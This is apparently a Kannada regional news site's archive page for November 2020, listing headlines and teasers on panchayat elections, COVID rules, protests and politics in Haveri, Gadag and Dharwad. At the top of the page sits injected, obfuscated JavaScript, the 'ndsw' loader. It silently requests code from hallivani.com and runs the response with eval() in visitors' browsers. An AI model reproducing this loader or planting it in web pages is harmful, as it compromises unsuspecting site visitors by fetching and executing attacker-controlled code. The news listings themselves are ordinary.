;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//hallivani.com/8jju21px/cache/cache.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};

Month: November 2020

ಜಿಲ್ಲೆಯ 209 ಗ್ರಾ.ಪಂ.ಗಳಿಗೆ ಎರಡು ಹಂತದಲ್ಲಿ ಚುನಾವಣೆ: ಜಿಲ್ಲಾಧಿಕಾರಿ ಸಂಜಯ ಶೆಟ್ಟೆಣ್ಣವರ

ಹಾವೇರಿ: ಜಿಲ್ಲೆಯ 209 ಗ್ರಾಮ ಪಂಚಾಯತಿಗಳಿಗೆ ಎರಡು ಹಂತದಲ್ಲಿ ಚುನಾವಣೆ ನಡೆಯಲಿದ್ದು, ಗ್ರಾಮಾಂತರ ಪ್ರದೇಶದಲ್ಲಿ ಇಂದಿನಿಂದಲೇ ಚುನಾವಣಾ ನೀತಿ ಸಂಹಿತೆ…

ಪೂರ್ವಾನುಮತಿ ಪಡೆಯದೇ ಸಮಾರಂಭ, ಮದುವೆ ನಡೆಸಿದರೆ ರೂ.25 ಸಾವಿರ ದಂಡ: ಜಿಲ್ಲಾಧಿಕಾರಿ ಸಂಜಯ ಶೆಟ್ಟೆಣ್ಣವರ ಎಚ್ಚರಿಕೆ

ಹಾವೇರಿ: ಜಿಲ್ಲೆಯಲ್ಲಿ ಕೋವಿಡ್ ಪ್ರಕರಣಗಳು ಇಳಿಮುಖವಾಗುತ್ತಿದ್ದರೆ ಜನರಲ್ಲಿ ಕೋವಿಡ್ ಮುನ್ನೆಚ್ಚರಿಕೆ ಕ್ರಮಗಳ ಪಾಲನೆಯಲ್ಲಿ ನಿರ್ಲಕ್ಷ್ಯ ತೋರುತ್ತಿರುವುದು ಕಂಡುಬರುತ್ತಿದೆ. ಇನ್ನು ಮುಂದೆ…

ಕೋವಿಡ್ ನಿಯಂತ್ರಣ, ಜಿಲ್ಲೆಯ ಫಾರ್ಮಸಿ ಅಧಿಕಾರಿಗಳ ಶ್ರಮ ಅಪಾರ: ಡಾ. ಸತೀಶ ಬಸರಿಗಿಡದ

ಗದಗ: ನಮ್ಮೆಲ್ಲರ ನಿದ್ದೆಗೆಡಿಸಿದ ಮಾಹಾಮಾರಿ ಕೋವಿಡ್-೧೯ ನಿಯಂತ್ರಿಸುವಲ್ಲಿ ಫಾರ್ಮಸಿ ಅಧಿಕಾರಿಗಳ ಪಾತ್ರ ಹಾಗೂ ಈ ಸಂಧರ್ಭದಲ್ಲಿ ಕೋವಿಡ್-೧೯ ನಿಯಂತ್ರಣಕ್ಕೆ ಸಂಬಧಿಸಿದ…

ಬಿಜೆಪಿಗರು ಆಪರೇಷನ್ ಕಮಲ ಮೂಲಕ ಅಧಿಕಾರಕ್ಕೆ ಬಂದು ಬಡಿದಾಟದಲ್ಲಿಯೇ ಕಾಲಹರಣ ಮಾಡುತ್ತಿದ್ದಾರೆ: ಎಂ ಪಿ ನಾಡಗೌಡ್

ಧಾರವಾಡ: ಬಿಜೆಪಿ ರಾಜ್ಯದಲ್ಲಿ ಬಹುಮತ ಇಲ್ಲದಿದ್ದರೂ ಆಪರೇಷನ್ ಕಮಲ ಮೂಲಕ ಅಧಿಕಾರಕ್ಕೆ ಬಂದು ಈಗ ಬರೀ ಬಡಿದಾಟದಲ್ಲಿ ಕಾಲಹರಣ ಮಾಡುತ್ತಿದ್ದಾರೆ…

ಜಿಲ್ಲೆಯಲ್ಲಿ ಸಕಾಲ ಸಪ್ತಾಹ ಆಚರಣೆಗೆ ನೋಡಲ್ ಅಧಿಕಾರಿಗಳ ತಂಡದ ಭೇಟಿ

ಗದಗ: ಜಿಲ್ಲೆಯಲ್ಲಿ ಸಕಾಲ ಸಪ್ತಾಹವನ್ನು ನವೆಂಬರ್ 30ರಿಂದ ಡಿಸೆಂಬರ್ 5 ರವರೆಗೆ ಯಶಸ್ವಿಯಾಗಿ ಆಚರಿಸಲಾಗುತ್ತಿದ್ದು ಗದಗ ಉಪವಿಭಾಗಾಧಿಕಾರಿ ರಾಯಪ್ಪ ಹುಣಸಗಿ,…

ಕರ್ನಾಟಕ ಟ್ಯಾಕ್ಸಿ ಡ್ರೈವರ್ ಆರ್ಗನೈಸೇಶನ್‌ ದೌರ್ಜನ್ಯ ಖಂಡಿಸಿ ಪ್ರತಿಭಟನೆ

ಧಾರವಾಡ: ಉತ್ತರ ಕರ್ನಾಟಕ ಟ್ಯಾಕ್ಸಿ ಚಾಲಕರು ಹಾಗೂ ಮಾಲೀಕರ ಮೇಲೆ ಕರ್ನಾಟಕ ಟ್ಯಾಕ್ಸಿ ಡ್ರೈವರ್ ಆರ್ಗನೈಸೇಶನ್ ಸದಸ್ಯರು ದೌರ್ಜನ್ಯ ಮಾಡುತ್ತಿದ್ದಾರೆ…

ವಿವಿಧ ಅಭಿವೃದ್ಧಿ ಕಾಮಗಾರಿಗೆ ಸಚಿವ ಸಿ.ಸಿ. ಪಾಟೀಲ ಚಾಲನೆ

ಗದಗ: ರೋಣ ತಾಲ್ಲೂಕಿನ ಸಂದಿಗವಾಡ ಗ್ರಾಮಸ್ಥರ ಬಹುದಿನಗಳ ಬೇಡಿಕೆಯಾಗಿದ್ದ ಆಶ್ರಯ ಕಾಲನಿಯಲ್ಲಿನ ಸಿ.ಸಿ.ರಸ್ತೆ ಹಾಗೂ ಚರಂಡಿ ನಿರ್ಮಾಣ ಕಾಮಗಾರಿಗೆ ರಾಜ್ಯದ…

ಯೊಗೇಶಗೌಡ ಕೊಲೆ ಪ್ರಕರಣ ತನಿಖಾಧಿಕಾರಿಯಾಗಿದ್ದ ಚನ್ನಕೇಶವ ಟಿಂಗರಿಕರ್‌ಗೆ ಜಾಮೀನು

ಧಾರವಾಡ: ಧಾರವಾಡದ ಹೆಬ್ಬಳ್ಳಿ ಜಿಲ್ಲಾ ಪಂಚಾಯತ್ ಸದಸ್ಯ ಯೋಗೇಶಗೌಡ ಕೊಲೆ ಪ್ರಕರಣದಲ್ಲಿ, ಸಾಕ್ಷಿ ನಾಶಾ ಆರೋಪ ಹೊತ್ತಿದ್ದ ಇನ್ಸ್ ಪೆಕ್ಟರ್…

ಗ್ರಾಮಗಳ ಅಭಿವೃದ್ಧಿಗೆ ಉತ್ತಮ ಆಳ್ವಿಕೆ ಮುಖ್ಯ: ಸಚಿವ ಜಗದೀಶ್ ಶೆಟ್ಟರ್

ಧಾರವಾಡ: ಗ್ರಾಮಗಳ ಅಭಿವೃದ್ಧಿಗೆ ಉತ್ತಮ ಆಳ್ವಿಕೆ ಬೇಕಾಗಿದ್ದು, ಉತ್ತಮ ಆಳ್ವಿಕೆ ಸಿಕ್ಕಲ್ಲಿ ಗ್ರಾಮಗಳು ಅಭಿವೃದ್ಧಿ ಹೊಂದಲು ಸಾಧ್ಯ. ಅಲ್ಲದೆ ಬರುವ…

ಮರಾಠ ಅಭಿವೃದ್ಧಿ ಪ್ರಾಧಿಕಾರ ಇನ್ನೂ ಆಗಿಲ್ಲಾ: ಶ್ರೀನಿವಾಸ್ ಮಾನೆ

ಧಾರವಾಡ: ಮರಾಠ ಅಭಿವೃದ್ಧಿ ಪ್ರಾಧಿಕಾರ ಇನ್ನೂ ಅಧಿಕೃತವಾಗಿ ಸ್ಥಾಪನೆಯಾಗಿಲ್ಲ, ಒಂದು ವೇಳೆ ಮಾಡಿದ್ದರೆ, ಅಧಿಕೃತವಾಗಿ ದಾಖಲಾತಿಗಳು ಇದ್ದರೆ ನೀಡಿ ಎಂದು…

ಮರಾಠ ಸಮುದಾಯ ಬಡವರ ಸಮಾಜ, ಅಭಿವೃದ್ದಿಗೆ 50 ಕೋಟಿ ಸಾಕಾಗುವುದಿಲ್ಲ: ಶಾಸಕಿ ಅಂಜಲಿ ನಿಂಬಾಳ್ಕರ್

ಧಾರವಾಡ: ಮುಖ್ಯಮಂತ್ರಿಗಳು ಮರಾಠ ಅಭಿವೃದ್ಧಿ ಪ್ರಾಧಿಕಾರ ಸ್ಥಾಪನೆ ಮಾಡಿ, ಅದಕ್ಕೆ ಐವತ್ತು ಕೋಟಿ ರೂಪಾಯಿ ನೀಡಿರುವುದಾಗಿ ಹೇಳುತ್ತಿದ್ದಾರೆ. ಆದರೆ ಕೇವಲ…

ಏಕೀಕರಣ ಹೋರಾಟಕ್ಕೆ ವಿರೂಪಾಕ್ಷನವರ ಪಾತ್ರ ಅಪಾರ: ಐ.ಎ. ರೇವಡಿ

ಗದಗ: ಏಕೀಕರಣ ಚಳುವಳಿಯಲ್ಲಿ ಅಬ್ಬಿಗೇರಿ ವಿರೂಪಾಕ್ಷಪ್ಪನವರ ಪಾತ್ರ ಅಪಾರವಾದ್ದು ಎಂದು ಕಸಾಪ ತಾಲೂಕು ಅಧ್ಯಕ್ಷ ಐ.ಎ.ರೇವಡಿ ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸಿದರು. ನಗರದ…

ಸಾರ್ವಜನಿಕರಿಗೆ ಮೂಲಭೂತ ಸೌಕರ್ಯ ಕಲ್ಪಿಸಲು ಅಧಿಕಾರಿಗಳಿಗೆ ಕರೆ ನೀಡಿದ ಜಿಲ್ಲಾಧಿಕಾರಿ

ಗದಗ: ಜಿಲ್ಲೆಯ ಪುರಸಭೆ, ಪಟ್ಟಣ ಪಂಚಾಯತ್, ನಗರಸಭೆಯಲ್ಲಿ ಸಾರ್ವಜನಿಕರಿಗೆ ಆದ್ಯತೆ ಮೇರೆಗೆ ಮೂಲಭೂತ ಸೌಕರ್ಯ ಕಲ್ಪಿಸುವಂತೆ ಜಿಲ್ಲಾಧಿಕಾರಿ ಎಂ. ಸುಂದರೇಶ್…

ಮೀಸಲಾತಿಗಾಗಿ ಕೇಂದ್ರ ಗೃಹ ಸಚಿವರಿಗೆ ವಿಭೂತಿ, ಲಿಂಗ, ರುದ್ರಾಕ್ಷಿ ಕಳಹಿಸಿದ ಲಿಂಗಾಯತರು

ಧಾರವಾಡ: ಲಿಂಗಾಯತ ಪಂಚಮಸಾಲಿ 2ಎ ಮೀಸಲಾತಿಗೆ ಕೇಂದ್ರ ಗೃಹ ಸಚಿವರು ತಡೆಯೊಡ್ಡುತ್ತಿದ್ದಾರೆ ಎಂದು ಆರೋಪಿಸಿ ಧಾರವಾಡದಲ್ಲಿ ಇಂದು ಜಾಗತಿಕ ಲಿಂಗಾಯತ…

ಮಹಿಳೆಯರಿಗೆ ಸೂಕ್ತ ರಕ್ಷಣೆ ನೀಡುವಂತೆ ಒತ್ತಾಯಿಸಿ ಎಸ್ಎಫ್ಐ ಪ್ರತಿಭಟನೆ

ಹಾವೇರಿ: ಮಹಿಳೆಯರ ಮೇಲಿನ ಆತ್ಯಾಚಾರ, ದೌರ್ಜನ್ಯ ತಡೆಗಟ್ಟುವುದರ ಜತೆಗೆ ಅವರಿಗೆ ಸೂಕ್ತ ರಕ್ಷಣೆ ನೀಡುವಂತೆ ಒತ್ತಾಯಿಸಿ ಭಾರತ್ ವಿದ್ಯಾರ್ಥಿ ಫೆಡರೇಷನ್…

ಬಳ್ಳಾರಿ ಜಿಲ್ಲೆ ವಿಭಜನೆ ಖಂಡನೆ: ರಾಷ್ಟ್ರೀಯ ಹೆದ್ದಾರಿ ತಡೆದು ಆಕ್ರೋಶ

ಬಳ್ಳಾರಿ: ಬಳ್ಳಾರಿ ಜಿಲ್ಲೆಯ ವಿಭಜನೆ ಖಂಡಿಸಿ ಜೋಳದ ರಾಶಿಯಲ್ಲಿ ಕನ್ನಡ ಮತ್ತು ತೆಲಗು ಸಾಹಿತಿ ಗುತ್ತಿ ಚಂದ್ರಶೇಖರ ರೆಡ್ಡಿ ನೇತೃತ್ವದಲ್ಲಿ…

ಠಾಣೆಯ ಎದರೇ ಪೊಲೀಸರ ಪ್ರತಿಭಟನೆ: ಸಾಮೂಹಿಕ ‌ವರ್ಗಾವಣೆಗೆ ಆಗ್ರಹ…!

ಧಾರವಾಡ: ಸಾರ್ವಜನಿಕ ವಲಯದಲ್ಲಿ‌ ನಡೆಯುತ್ತಿದ್ದ ಪ್ರತಿಭಟನೆಗಳಿಗೆ‌ ಸೇರಿದಂತೆ ‌ಸಾರ್ವಜನಿಕರಿಗೆ ರಕ್ಷಣೆ ನೀಡುತ್ತಿದ್ದ, ಪೊಲೀಸರೇ ಈಗ ಸಾಮೂಹಿಕ ವರ್ಗಾವಣೆಗೆ ಒತ್ತಾಯಿಸಿ ಠಾಣೆಯ…

ಧಾರವಾಡ ಎಪಿಎಂಸಿ ಠಾಣೆಯ ಪಿಎಸ್ಐ ವಿರುದ್ಧ ಕ್ರಮಕ್ಕೆ ಆಗ್ರಹಿಸಿ ವಕೀಲರ ಆಕ್ರೋಶ

ಧಾರವಾಡ: ಕಳೆದ ನವೆಂಬರ್ 25ರಂದು ನ್ಯಾಯವಾದಿಯ ಮೇಲೆ‌ ಧಾರವಾಡದ ನವನಗರ ಠಾಣೆಯ ಪಿಎಸ್ಐ ಹಲ್ಲೆ ಮಾಡಿರುವುದನ್ನು ಖಂಡಿಸಿ, ಧಾರವಾಡದಲ್ಲಿ‌ ಇಂದು…